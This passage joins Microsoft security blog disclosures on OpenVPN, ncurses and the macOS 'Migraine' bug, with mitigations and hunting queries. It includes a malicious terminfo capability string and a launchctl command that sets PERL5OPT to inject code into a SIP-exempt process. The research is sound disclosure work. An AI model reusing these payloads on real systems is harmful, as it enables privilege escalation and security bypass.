First, the attacker will connect to a local device “\\openvpn\\service” named pipe with a command that instructs openvpnserv.exe to launch openvpn.exe based on the attacker-provided malicious configuration.

Screenshot of code depicting initializing OpenVPN from a local configuration
Figure 14. Initializing OpenVPN from a local configuration

The malicious configuration will include a line like the below example:

Screenshot of the malicious plugin loading directive from the local location
Figure 15. Malicious plugin loading directive from the local location

For the malicious plugin to successfully communicate with openvpnserv.exe, it must hijack the number of the handle used by openvpn.exe to communicate with the inner named pipe connecting the openvpv.exe process and the openvpnserv.exe service. This can be achieved, for instance, by parsing command line arguments, as displayed below:

Screenshot of code depicting parsing command line arguments to extract the thread ID
Figure 16. Parsing command line arguments to extract the thread ID (TID)

This works because when the openvpn.exe process spawns, it’s being passed the TID (as a command line argument) that the inner named pipe (which is being used for communication between this specific OpenVPN instance and the openvpnserv.exe service) will have. For instance, if the inner named pipe created is “\\openvpn\\service_1234” then openvpn.exe will be launched with an extra argument of 1234.

Screenshot of code depicting the thread ID being passed as a command line argument
Figure 17. Passing the TID as a command line argument

Next, attackers can exploit the stack overflow vulnerability by sending data bigger than the MSG structure. It is important to note that there are stack protection mechanisms in place, called stack canaries, which make exploitation much more challenging. Thus, when triggering the overflow:

Screenshot of code depicting the stack overflow being triggered
Figure 18. Stack overflow triggered

After the crash of openvpnserv.exe, the attacker has a slot of time in which they can reclaim the named pipe “\\openvpn\\service”.

If successful, the attacker then poses as the server client side of the named pipe “\\openvpn\\service”. From that moment on, every attempt to connect to the “\\openvpn\\service” named pipe will result in a connection to the attacker. If a privileged enough user, such as a SYSTEM or Administrator user, is connected to the named pipe, the attacker can impersonate that user:

Screenshot of code depicting impersonation of a privileged user
Figure 19. Impersonating a privileged user

The attacker can then start an elevated process on the user’s behalf, thus achieving LPE.

Chaining it all together

As our research demonstrated, an attacker could leverage at least three of the four discovered vulnerabilities to create exploits to achieve RCE and LPE, which could then be chained together to create a powerful attack chain.

A number of adjustments are needed for the full attack chain to be exploited as presented in this blog post, mainly the malicious payload that crashes openvpnserv.exe and the malicious payload that actually behaves as openvpnserv.exe after openvpnserv.exe is crashed all have to be loaded with the malicious plugin. After successfully achieving LPE, attackers will use different techniques, such as Bring Your Own Vulnerable Driver (BYOVD) or exploiting known vulnerabilities, to achieve a stronger grasp of the endpoint. Through these techniques, the attacker can, for instance, disable Protect Process Light (PPL) for a critical process such as Microsoft Defender or bypass and meddle with other critical processes in the system. These actions enable attackers to bypass security products and manipulate the system’s core functions, further entrenching their control and avoiding detection.

Critical importance of endpoint security in private and enterprise sectors

With OpenVPN being widely used across various vendors, industries, and fields, the presented vulnerabilities may impact numerous sectors, device types, and verticals. Exploiting these vulnerabilities requires user authentication, a deep understanding of OpenVPN’s inner workings, and intermediate knowledge of the operating system. However, a successful attack could significantly impact endpoints in both the private and enterprise sectors. Attackers could launch a comprehensive attack chain on a device using a vulnerable version of OpenVPN, achieving full control over the target endpoint. This control could enable them to steal sensitive data, tamper with it, or even wipe and destroy critical information, causing substantial harm to both private and enterprise environments.

The discovery of these vulnerabilities underscores the importance of responsible disclosure to secure enterprise and endpoint systems, in addition to the collective efforts of the security community to protect devices across various platforms and establish stronger safeguards for everyone. We would like to again thank OpenVPN for their partnership and swift action in addressing these vulnerabilities.

Mitigation and protection guidance

OpenVPN versions prior to 2.5.10 and 2.6.10 are vulnerable to discussed vulnerabilities.

It is recommended to first identify if a vulnerable version is installed and, if so, immediately apply the relevant patch found here: OpenVPN 2.6.10.

Additionally, follow the below recommendations to further mitigate potential exploitation risks affiliated with the discovered vulnerabilities:

  • Apply patches to affected devices in your network. Check the OpenVPN website for the latest patches.
  • Make sure OpenVPN clients are disconnected from the internet and segmented.
  • Limit access to OpenVPN clients to authorized users only. 
  • Due to the nature of the CVEs, which still require a username and password, prioritizing patching is difficult. Reduce risk by ensuring proper segmentation, requiring strong usernames and passwords, and reducing the number of users that have writing authentication.

Microsoft Defender XDR detections

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alert can indicate associated threat activity:

  • Suspicious OpenVPN named pipe activity

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

  • CVE-2024-27459
  • CVE-2024-24974
  • CVE-2024-27903
  • CVE-2024-1305

Microsoft Defender for IoT

Microsoft Defender for IoT raises alerts for the following vulnerabilities, exploits, and behavior associated with this threat:

  • Suspicion of Malicious Activity

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

This query identifies connection to OpenVPN’s named pipe from remote host:

DeviceEvents  
| where ActionType == "NamedPipeEvent"
| extend JsonAdditionalFields=parse_json(AdditionalFields)
| extend PipeName=JsonAdditionalFields["PipeName"]
| where PipeName == "\\Device\\NamedPipe\\openvpn\\service" and isnotempty( RemoteIP) 

This query identifies image load into OpenVPN’s process from share folder:

DeviceImageLoadEvents 
|where InitiatingProcessFileName == "openvpn.exe" and FolderPath startswith "\\\\"

This query identifies process connect to OpenVPN’s named pipe as server which it is not openvpnserv.exe:

DeviceEvents  
| where ActionType == "NamedPipeEvent"
| extend JsonAdditionalFields=parse_json(AdditionalFields)
| extend PipeName=JsonAdditionalFields["PipeName"], NamedPipeEnd=JsonAdditionalFields["NamedPipeEnd"]
|where PipeName == "\\Device\\NamedPipe\\openvpn\\service" and NamedPipeEnd == "Server" and InitiatingProcessFileName != "openvpnserv.exe"

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace. More details on the Content Hub can be found here:  https://learn.microsoft.com/azure/sentinel/sentinel-solutions-deploy.

List of devices with OpenVPN vulnerabilities

DeviceTvmSoftwareVulnerabilities
| where OSPlatform contains "Windows"
| where CveId in ("CVE-2024-27459","CVE-2024-24974","CVE-2024-27903","CVE-2024-1305") 
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Named pipe creation activity of OpenVPN

let PipeNames = pack_array('\\openvpn/service','\\openvpn/service_','openvpn','openvpn/service','\\openvpn\\service_');
DeviceEvents
| where TimeGenerated > ago(30d)
| where ActionType == "NamedPipeEvent"
| where ProcessCommandLine contains "openvpn.exe" or InitiatingProcessCommandLine contains "openvpn.exe"
| extend Fields=parse_json(AdditionalFields)
| where Fields.FileOperation == "File created"
| where Fields.PipeName has_any (PipeNames)
| project TimeGenerated,ActionType,DeviceName,InitiatingProcessAccountDomain,InitiatingProcessAccountName,InitiatingProcessFolderPath,
InitiatingProcessCommandLine,ProcessCommandLine,Fields.FileOperation,Fields.PipeName

Vladimir Tokarev

Microsoft Threat Intelligence Community

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Chained for attack: OpenVPN vulnerabilities discovered leading to RCE and LPE appeared first on Microsoft Security Blog.

]]>
Uncursing the ncurses: Memory corruption vulnerabilities found in library http://approjects.co.za/?big=en-us/security/blog/2023/09/14/uncursing-the-ncurses-memory-corruption-vulnerabilities-found-in-library/ Thu, 14 Sep 2023 11:30:00 +0000 A set of memory corruption vulnerabilities in the ncurses library could have allowed attackers to chain the vulnerabilities to elevate privileges and run code in the targeted program's context or perform other malicious actions.

The post Uncursing the ncurses: Memory corruption vulnerabilities found in library appeared first on Microsoft Security Blog.

]]>
Microsoft has discovered a set of memory corruption vulnerabilities in a library called ncurses, which provides APIs that support text-based user interfaces (TUI). Released in 1993, the ncurses library is commonly used by various programs on Portable Operating System Interface (POSIX) operating systems, including Linux, macOS, and FreeBSD. Using environment variable poisoning, attackers could chain these vulnerabilities to elevate privileges and run code in the targeted program’s context or perform other malicious actions.

One of the most common vulnerabilities found in modern software, memory corruption vulnerabilities, can allow attackers to gain unauthorized access to systems and data by modifying a program’s memory. The impact of memory corruption vulnerabilities can range from leaking sensitive information and performing a simple denial-of-service (DoS) to elevating privileges and executing arbitrary code.

Microsoft has shared these vulnerabilities with the relevant maintainers through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). Fixes for these vulnerabilities, now identified as CVE-2023-29491 with a CVSS score of 7.8, have been successfully deployed by the maintainers of the ncurses library, Thomas E. Dickey, in commit 20230408. We wish to thank Thomas for his professionalism and collaboration in resolving those issues. We also worked with Apple on addressing the macOS-specific issues related to these vulnerabilities, and we thank Apple for their response and partnership. Lastly, during our analysis, a researcher named Gergely Kalman engaged us privately over Twitter and contributed relevant use cases in addition to his own hand-coded fuzzer. We thank Gergely for his contributions in advancing this research and community engagement. Users of ncurses are encouraged to update their instances and systems.

In this blog post, we share information about ncurses and the discovered memory corruption vulnerabilities. We also share this research to emphasize the importance of collaboration among researchers, industry partners, and the larger security community in the effort to improve security for all.

Understanding terminal databases

Terminal databases are used by ncurses to be terminal-independent, meaning the capabilities of the terminal are not required to be known ahead-of-time. Terminal databases contain a set of capabilities that ultimately determine the control characters that are sent to the terminal (instructing the terminal to perform basic interactions) and describe various properties of the terminal. Terminal databases come in two major formats: the older and less commonly used termcap (terminal capability) format, and the improved terminfo format. Since terminals can differ on the types of control characters they expect and the operations they support, terminfo became necessary to address this discrepancy.  In its textual syntax, capabilities are separated by commas, and come in three forms:

  • Boolean capabilities: for example, the am capability specifies that the terminal supports automatic margins. In the terminfo textual syntax, Boolean capabilities appear by their name alone, without any additions.
  • Numeric capabilities: for instance, the cols capability contains the number of columns in a line. In the terminfo textual syntax, numeric capabilities are recognized with a “#” symbol after their name, followed by the numeric value, such as “cols#80”.
  • String capabilities: for instance, the clear capability describes the control character that should be transmitted to the terminal to clear the screen. In the terminfo textual syntax, string capabilities are recognized with a “=” symbol after their name, followed by the string value, such as “clear=\E[H\E[2J”.

POSIX systems usually pre-ship with tens of such databases. It’s possible to parse the capabilities of the current database with the infocmp utility:

Screenshot of the infocmp utility code output
Figure 1. infocmp output reveals the current terminfo database along with its capabilities

Environment variable poisoning

Every modern operating system contains a set of environment variables that might affect the behavior of programs. A well-known technique for attackers is to manipulate those environment variables to cause programs to perform actions that would benefit their malicious purposes, hence “poisoning” them. There have been multiple cases of environment variable poisoning in the past, for instance:

  • CVE-2023-22809: users were allowed to elevate their privileges by poisoning the EDITOR environment variable (and similar other environment variables) and running sudoedit, which ultimately allowed them to edit arbitrary files.
  • CVE-2022-0563: the environment variable INPUTRC is indirectly used by the chsh and chfn set-UID Linux binaries. It was discovered that INPUTRC could be poisoned to dump the contents of sensitive files on the system.
  • CVE-2020-9934: the HOME environment variable could be poisoned to bypass Transparency, Consent, and Control (TCC) on macOS, thus gaining access to otherwise inaccessible sensitive data. We have found a similar bypass and reported it in 2021.
  • CVE–2023-32369: the PERL5OPT and BASH_ENV environment variables could be poisoned to bypass System Integrity Protection (SIP) in macOS, thus elevating privileges. We have reported the vulnerability in April 2023.
  • The LD_PRELOAD environment variable is commonly used in Linux for code injection purposes.
  • The WINDIR and SYSTEMROOT environment variables have been used in the past on Windows for bypassing User Account Control (UAC).

We have discovered that during initialization, the ncurses library searches for several environment variables, including an environment variable similarly named TERMINFO. When using terminfo databases, the program consults a fixed directory path unless a TERMINFO environment variable is present, which instead points the program to an alternative directory that contains compiled terminfo database files. Moreover, there are interesting common programs that use ncurses, most notably top on macOS, which is a set-UID binary (which runs with elevated privileges) that also uses the TERMINFO environment variable. Therefore, finding vulnerabilities in ncurses have the potential to affect many programs and possibly elevate privileges. It’s noteworthy that the potential of poisoning the TERMINFO environment variable was highlighted several times in the past (for example, here), but we have not seen comprehensive research on the topic of terminfo capabilities for offensive security purposes.

For completeness, while this blog post focuses on how attackers could poison the TERMINFO environment variable to potentially exploit ncurses vulnerabilities, the HOME environment variable could have been similarly manipulated. Assuming the TERMINFO environment variable was never defined, ncurses looks for a $HOME/.terminfo directory. This could have been abused by planting a .terminfo directory at an arbitrary path and poisoning the HOME environment variable, so the technique is quite similar.

Stack-based terminfo capabilities

The terminfo capabilities are richer than they first appear. In a nutshell, capabilities are allowed to receive up to nine parameters (p1-p9) and use them in a stack data structure. Furthermore, capabilities work with a stack-like structure and instructions that can push (place an item in the stack) and pop (get an item from the stack) data, perform logical-arithmetic operations, and even support conditions. Here are some examples:

OperationDescription
%{number}Push a constant value to the stack.
%pxPush the parameter to the stack.
%+, %-, %*, %/, %mPop two numbers from the stack and push the arithmetic result of the stack. Addition, substruction, multiplication, division, and remainder operations are supported.
%&, %|, %^Pop two numbers from the stack and push the bitwise result to the stack. Bitwise OR, AND, and XOR are supported.
%=, %<, %>, %A, %OPop two numbers and compare them, pushing the logical result back to the stack. The operations of comparison, less-than, and greater-than are supported, as well as logical AND and OR operations.
%lPop a string from the stack and push its length back to the stack.
%?[condition]%t[body1]%e[body2]%;Perform a condition. The %t operation pops a numeric value from the stack and compares it to 0. The result determines what body to execute (the “else” body is optional and comes after the %e delimiter).
%s, %cPop a string from the stack and print it out to the terminal.
%d, %xPop a number from the stack and print it out to the terminal.

While not Turing-complete, terminfo offers functionality that resembles very basic programming. Due to the complicated logic required by ncurses, security issues are expected to be found, and indeed there have been numerous ncurses vulnerabilities in the past.

It’s interesting to note that while the version of ncurses we checked was 6.4 (latest at the time of research), the ncurses version on macOS was 5.7, but had several security-related patches maintained by Apple. Nevertheless, all our findings are true for all ncurses versions, thus affecting both Linux and macOS.

Discovered vulnerabilities

We discovered several memory corruption vulnerabilities through code auditing and fuzzing. In addition to using our own AFL++ based fuzzer, the use cases contributed by Gergely Kalman assisted in advancing this research.

The discovered vulnerabilities could have been exploited by attackers to elevate privileges and run code within a targeted program’s context. Nonetheless, gaining control of a program through exploiting memory corruption vulnerabilities requires a multi-stage attack. The vulnerabilities may have needed to be chained together for an attacker to elevate privileges, such as exploiting the stack information leak to gain arbitrary read primitives along with exploiting the heap overflow to obtain a write primitive.

Stack information leak

The function that runs the capability logic is called tparm. It is a C variadic function, meaning its number of arguments is not predefined (similarly to printf). The way variadic functions work in C is usually with the va_list structure and its macros, va_start, va_arg, and va_end. The common scenario for such functions is to parse a format-string, conclude the number of parameters it expects, and use the va_arg macro iteratively to fetch those arguments. However, since an attacker can be in full control of the capability’s string, we can make tparm call va_arg more times than it should, effectively leaking information from the call stack. Since we are allowed up to nine parameters, we can leak up to eight unintended arguments, including arguments from the program’s stack:

Screenshot of code
Figure 2. Demonstrating an information leak proof of concept

Parameterized string type confusion

The stack used by the tparm function is just an allocated array with 20 entries (referred as STACK_FRAME in the source code). Each frame can hold either a number (32-bit signed integer) or a string (pointer). To distinguish between a number and a string, the frame uses a Boolean value, which represents whether the data is numeric or not:

Screenshot of code
Figure 3. A terminfo stack entry

Certain push operations can be easily concluded, for example, when pushing an arithmetic result (such as %+) or a literal (%{number}). However, for parameters, things are different. There is no easy way to know ahead of time whether a parameter is expected to be a string or numeric. Therefore, tparm uses a heuristic—it walks the capability string statically, and when it sees %s or %l, it concludes that the last parameter push was a string. This approach can be abused in multiple ways. For example, the macOS top utility calls mvcur, which in turn calls tparm with the cup capability, along with integer parameters. Treating the parameter as a string can trigger strlen on the integer address:

Screenshot of code
Figure 4. Type confusion causes strlen to be invoked on low addresses

The crash we triggered occurs during an initialization of the mvcur operation, which assesses the “cost” of moving the cursor by invoking tparm with a constant, non-attacker-controlled value. We can improve the attack by using conditions—if the parameter’s value is not that constant value, then treat the parameter as a string, otherwise treat it as a number. Implementation with capabilities is straightforward:

A line of code reading cup=%?%p1%p2%<%t\E[%i%p1%d;%p2%dH%e%p1%s%;,

This should be read as:

Screenshot stating “IF p1 < p2 THEN (use the usual ‘cup’ capability) ELSE treat p1 is a string”
Screenshot of code
Figure 5. Using conditions to only trigger strlen when desired

This primitive is quite powerful, as we can trigger strlen on an arbitrary number, effectively gaining a read primitive. Gaining a read primitive defeats the Address Space Layout Randomization (ASLR) security mechanism to leak address information and, if the binary happens to contain valuable secrets in its memory (like passwords), an attacker could potentially read those as well.

Cost calculating padding off-by-one

We have mentioned mvcur uses a cost-calculating function to determine the costs of certain capabilities. The cost-calculation is done by the function _nc_msec_cost, and it assesses the number of milliseconds it takes to print out a capability, which is strongly derived by delays that could be a part of a capability. Delays are numeric literal values wrapped between ‘$<’ and ‘>’, and they even support a decimal point. We discovered an off-by-one error—if the function sees a decimal point character, it skips one character assuming a digit, with an insufficient check after:

Screenshot of code
Figure 6. Off-by-one bug causes the string to be assessed beyond its boundaries

Therefore, it’s possible to have the cost-calculating function read beyond the boundary of the capability string by closing the delay markup with a ‘>’ character immediately following the decimal dot.

Screenshot of code
Figure 7. Reading past the capability string limit might cause a segmentation fault

Heap out-of-bounds during terminfo database file parsing

The terminfo database files are binary files commonly compiled from the text representation with a utility called tic. The format of the database consists of the following parts:

  • The header: contains a magic value, the size of the terminal name, the number of Boolean capabilities, the number of numeric capabilities, the number of string capabilities, and the total size of string capabilities.
  • The terminal name
  • The capabilities:
    • The Boolean capabilities
    • The numeric capabilities
    • The string capability offsets
    • The string capabilities themselves
  • Optional extended entries (in the same order: Boolean, numeric, and strings)

The optional extended entries are user-defined entries. We discovered that the function that performs that database parsing (_nc_read_termtype) can write beyond the boundaries of a heap-allocated chunk, as such:

Screenshot of code
Figure 8. Heap out-of-bounds due to realloc call
  1. The code uses calloc to allocate room for the strings. While STRCOUNT is a constant representing the maximum length of standard string capabilities (414), str_count is attacker-controlled and defined in the header of the attacker’s terminfo file. This controls the size of the allocated chunk saved in ptr->Strings.
  2. After parsing all the standard capabilities, ncurses starts parsing the extended capabilities. The code assigns ptr->num_Strings to STRCOUNT+ ext_str_count, which might be smaller than the non-extended string count, effectively shrinking ptr->Strings with a realloc call.
  3. Immediately after the realloc call, we can see ptr->Strings being written beyond its boundaries. Extended string capabilities are parsed and appended after standard string capabilities. The convert_strings function attempts to achieve this by storing data in ptr->Strings + str_count. However, while ptr->Strings was shrunk to STRCOUNT+ext_str_countstr_count is user-controlled and can be greater than STRCOUNT.
  4. If str_count >= STRCOUNT, then ptr->Strings + str_count + ext_str_count will be greater than ptr->Strings + STRCOUNT + ext_str_count and convert_strings will cause a heap buffer overflow.

Denial of service with canceled strings

The ncurses library has a notion of marking strings as “cancelled”. This is useful for terminfo database inheritance and skipping absent capabilities in general. As an example, the function convert_strings that converts strings from the terminfo database file format to the appropriate data structures in memory sets strings as CANCELLED_STRING if the index referring to them is negative.

Screenshot of code
Figure 9. convert_strings setting a string to be CANCELLED

The value of the CANCELLED_STRING constant is -1, and before processing, the ncurses codebase looks for these strings and converts them to ABSENT_STRING (constant 0). Unfortunately, it does so only for ordinary strings; extended strings do not get that treatment. Specifically, a heuristic determines that strings that begin with the “k” character should be treated as keypad functionality. This allows an attacker to specify an extended string in a way that will make ncurses dereference -1 (0xFFFFFFFFFFFFFFFF):

Screenshot of code
Figure 10. ncurses dereferencing -1 when attempting to parse a cancelled string for keypad functionality

Protection and detection with Microsoft Defender for Endpoint

While organizational devices and networks may become increasingly secure, attackers continue to exploit unpatched vulnerabilities and misconfigurations as a vector to access sensitive systems and information. Exploiting vulnerabilities in the ncurses library could have notable consequences for users, allowing attackers to perform malicious actions like elevating privileges to run code in a targeted program’s context and access or modify valuable data and resources. Responding to the evolving threat landscape requires us to expand our expertise across devices and platforms as part of our commitment to continuously improve security from Microsoft, not just for Microsoft.

This case displays how responsible vulnerability disclosure and collaborative research informs our comprehensive protection capabilities across platforms. Microsoft Defender Vulnerability Management is able to quickly discover and remediate such vulnerabilities on both Linux and macOS. Additionally, Microsoft Defender for Endpoint has similar detections for potential abuse of terminfo databases for set-UID binaries, such as macOS’s top:

Screenshot of code
Figure 11. Microsoft Defender for Endpoint detecting suspicious TERMINFO use

After discovering the vulnerabilities in the ncurses library, we worked with the maintainer, Thomas E. Dickey, and Apple to ensure the issues were resolved across platforms. Additionally, this case displays the value of community engagement to improve security for all as researcher Gergely Kalman’s use case contributions assisted our research efforts. We wish to again thank Thomas and the Apple product security team for their efforts and collaboration in addressing CVE-2023-29491, as well as Gergely for his contributions in furthering this research.

As the threat landscape continues to evolve and threats across all platforms continue to grow, Microsoft strives to continuously secure users’ computing experiences, regardless of the platform or device in use. We will continue to work with the security community to share vulnerability discoveries and threat intelligence in the effort to build better protection for all.

Jonathan Bar Or, Emanuele Cozzi, Michael Pearse

Microsoft Threat Intelligence team

References

Further reading

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on Twitter at https://twitter.com/MsftSecIntel.

The post Uncursing the ncurses: Memory corruption vulnerabilities found in library appeared first on Microsoft Security Blog.

]]>
New macOS vulnerability, Migraine, could bypass System Integrity Protection http://approjects.co.za/?big=en-us/security/blog/2023/05/30/new-macos-vulnerability-migraine-could-bypass-system-integrity-protection/ Tue, 30 May 2023 16:00:00 +0000 A new vulnerability, which we refer to as “Migraine”, could allow an attacker with root access to bypass System Integrity Protection (SIP) in macOS and perform arbitrary operations on a device.

The post New macOS vulnerability, Migraine, could bypass System Integrity Protection appeared first on Microsoft Security Blog.

]]>
A new vulnerability, which we refer to as “Migraine” for its involvement with macOS migration, could allow an attacker with root access to automatically bypass System Integrity Protection (SIP) in macOS and perform arbitrary operations on a device. We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR). A fix for this vulnerability, now identified as CVE-2023-32369, was included in the security updates released by Apple on May 18, 2023.

SIP is a security technology in macOS that restricts a root user from performing operations that may compromise system integrity. Bypassing SIP could lead to serious consequences, such as increasing the potential for attackers and malware authors to successfully install rootkits, create persistent malware, and expand the attack surface for additional techniques and exploits. The technique uncovered in this blog post was discovered during routine malware hunting and is similar to the one used in the Shrootless vulnerability (CVE-2021-30892) that we published in 2021. By focusing on system processes that are signed by Apple and have the com.apple.rootless.install.heritable entitlement, we found two child processes that could be tampered with to gain arbitrary code execution in a security context that bypasses SIP checks.

In this blog post, we share some information about the relationship between SIP and entitlements, and we detail how the “Migraine” vulnerability could be exploited to bypass the SIP security enforcements. We’re sharing this research with the larger security community to emphasize the importance of collaboration in the effort to secure platforms and devices.

SIP and entitlements

As previously covered in our Shrootless vulnerability blog post, System Integrity Protection (SIP)—also known as “rootless”—was first introduced by Apple in macOS Yosemite. SIP essentially locks down the system from root by leveraging the Apple sandbox to protect the entire platform, conceptually similar to how SELinux protects Linux systems. One of the most dominant features of SIP is the filesystem restriction capability, which protects entire files and directories from being overridden. The files and directories that are protected by SIP by default are commonly ones that are related to the system’s integrity.

There is no way to turn off SIP on a live system—the user must use the recovery OS, which requires physical access to the device. A SIP bypass is a vulnerability that bypasses SIP restrictions, for example, bypassing restrictions to write to SIP-protected directories or create a SIP-protected file.

Another important macOS concept is entitlements. According to documentation, “an entitlement is a right or privilege that grants an executable particular capabilities”. As entitlements take part in the app signing process, there is no legitimate way of forging them. Apple uses entitlements extensively to enforce security on macOS, and Apple grants internal entitlements to very specific processes. Specifically, certain processes are assigned entitlements that allow the process to bypass System Integrity Protection checks by design. One particularly interesting entitlement is the com.apple.rootless.install.heritable entitlement that allows the process and the entire process tree rooted under it to bypass filesystem-based System Integrity Protection security enforcements.

Discovering a SIP bypass by design

Our research team regularly looks for malware and suspicious activity. During a routine malware hunt, we discovered the execution of a binary called drop_sip using the below advanced hunting query in Microsoft 365 Defender:

DeviceProcessEvents
| where FileName =~ "drop_sip"
| project InitiatingProcessFileName, ProcessCommandLine, SHA256

Thinking that we found an exploit in the wild, we found that it’s an Apple-signed binary that resides natively under the /System/Library/PrivateFrameworks/SystemMigrationUtils.framework/Resources/Tools/drop_sip path.

Upon analysis, the file appears to invoke the csops system call (undocumented, but available here) and starts a child process. The operation flag for the csops call is 12 (CS_OPS_CLEARINSTALLER), which re-enables SIP checks by clearing codesigning flags, specifically the CS_EXEC_INHERIT_SIP flag:

Code displaying drop_sip’s functionality
Figure 1. drop_sip’s functionality is to change the code signing flags and execute a child process
Code displaying re-enabling SIP
Figure 2. Modification of the p_csflags member as a result of the csops system call – re-enables SIP

Because of this behavior, we concluded the drop_sip process assumes it can bypass SIP. However, since drop_sip is not entitled with any SIP-bypassing entitlements, we concluded that it must inherit that capability. We discovered its parent process is systemmigrationd, which is a daemon designed to handle migration scenarios, but most importantly, it’s entitled with the com.apple.rootless.install.heritable entitlement that allows its child processes to bypass SIP security checks:

Code displaying systemmigrationd entitlements
Figure 3. systemmigrationd entitled with SIP-bypassing capabilities

Developing a “Migraine”

After discovering the parent process of drop_sip, we wondered if there are any other child processes of systemmigrationd. Just as before, we used the below advanced hunting query in Microsoft 365 Defender:

DeviceProcessEvents
| where InitiatingProcessFileName =~ "systemmigrationd"
| summarize Hits=count(), Cmdline=any(ProcessCommandLine) by FileName

We found two interesting child processes of systemmigrationd:

FileNameHitsCmdline
bash498/bin/bash /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationData/Scripts/firstbootDirectoryServer
perl171/usr/bin/perl /usr/libexec/migrateLocalKDC –source “/Volumes/REDACTED/Backups.backupdb/REDACTED/Macintosh HD – Data” –source-REDACTED

The bash and perl binaries are interesting because they are both interpreters. Similar to how we tampered with the zsh codeflow back in 2021, we found similar ways to tamper with the code flow of bash and perl:

Code displaying running arbitrary commands in bash instances
Figure 4. The bash manual page states BASH_ENV as a way to run arbitrary commands in bash instances
Code displaying running arbitrary commands in perl instances
Figure 5. The “perlrun” manual page states PERL5OPT as a way to run arbitrary commands in perl instances

Assuming an attacker first gains code execution capabilities as root, setting environment variables that affect systemmigrationd and its child processes is straightforward using the launchctl utility. For instance, to make perl run our arbitrary code that resides under /private/tmp/migraine.sh, we use:

launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'

And indeed, after triggering systemmigrationd to run perl, we were able to bypass SIP:

Code displaying SIP protections making a file undeletable
Figure 6. Creating an undeletable file due to its SIP protection.

Exploitation approach

Triggering migration normally requires using the Migration Assistant utility, which involves a complete sign-out from the system. While this works well for attackers with physical access (hands-on-keyboard), we wished to demonstrate that remote attackers can achieve a SIP bypass using this exploit. Therefore, we decided to research the migration flow and the interplay between the Migration Assistant and systemmigrationd.

Migration is a complicated procedure that involves several components. Here is the flow of key events:

  1. Migration Assistant uses a utility called Setup Assistant to help start migration. However, it does so indirectly by using XPC between itself and another process called MBSystemAdministration. It also signs out by invoking a method named SACLOStartLogoutWithOptions.
  2. The MBSystemAdministration utility proxies requests from Migration Assistant to Setup Assistant and also verifies that the caller (Migration Assistant) has the com.apple.private.mbsystemadministration entitlement. Otherwise, it refuses serving migration requests. Additionally, MBSystemAdministration runs as the hidden user _mbsetupuser, which allows migration to perform GUI interactions after sign out.
  3. Setup Assistant gets requests through MBSystemAdministration and performs XPC to several Mach services that are served by the launch daemon systemmigrationd. The systemmigrationd daemon enforces that the caller (Setup Assistant) has the com.apple.private.systemmigration.daemonclient entitlement. Otherwise, it refuses serving migration requests. The systemmigrationd daemon uses the private framework SystemMigration.framework and listens to new migration requests by invoking a method called startListeningForConnections. Interestingly, the daemon examines the contents of the directory /Library/SystemMigration/Queue (which is protected by SIP)—requests appear as files in that directory. Once a file is dropped, systemmigrationd renames the file to “In-Flight” and serves it, including running required scripts, which can cause perl or bash to run.

This complex flow can be illustrated with the following schematic:

Flow diagram of macOS migration
Figure 7. Flow diagram of the macOS migration
Code displaying systemmigrationd listening to incoming connections
Figure 8. systemmigrationd using the private SystemMigration framework to listen to incoming connections

Our first attempt at automating the exploit focused on patching Migration Assistant to prevent user sign-out:

Code displaying SACLOStartLogoutWithOptions
Figure 9. Reverse engineering the Migration Assistant reveals the SACLOStartLogoutWithOptions function,c which signs out

Simply patching Migration Assistant does not work due to codesign failure. Stripping the binary of signing information results in error (Figure 10) due to a kernel feature related to Pointer Authentication Codes (PAC) that’s available for the latest Apple Silicone architecture. If an arm64e binary with pointer authentication is not a code-signed platform binary, the kernel prevents execution, as shown in Figure 9. Extracting, stripping, and patching the x64 portion of the multiarchitecture binary avoids the arm64e issue, but it’s not functional due to losing the required entitlement (com.apple.private.mbsystemadministration).

Code displaying PAC requirements
Figure 10. Pointer Authentication Code requirements
Code displaying the failed patch and run attempt of the Migration Assistant
Figure 11. Attempting to patch and run the Migration Assistant fails

After reaching an impasse with patching Migration Assistant, we wondered if we could initiate later stages in the flow diagram, thus avoiding user sign-out. We continued to map and reverse-engineer the system behavior, including using an in-house researcher tool which leverages the Endpoint Security Framework that logs all relevant process and file events during migration, inspired by Patrick Wardle’s FileMonitor and ProcessMonitor tools for investigating system behaviors.

While mapping the sequence of events for Migration Assistant, MBSystemAdministration, Setup Assistant, and systemmigrationd, we noticed xpcproxy executing Setup Assistant with the argument ‑MiniBuddyYes.

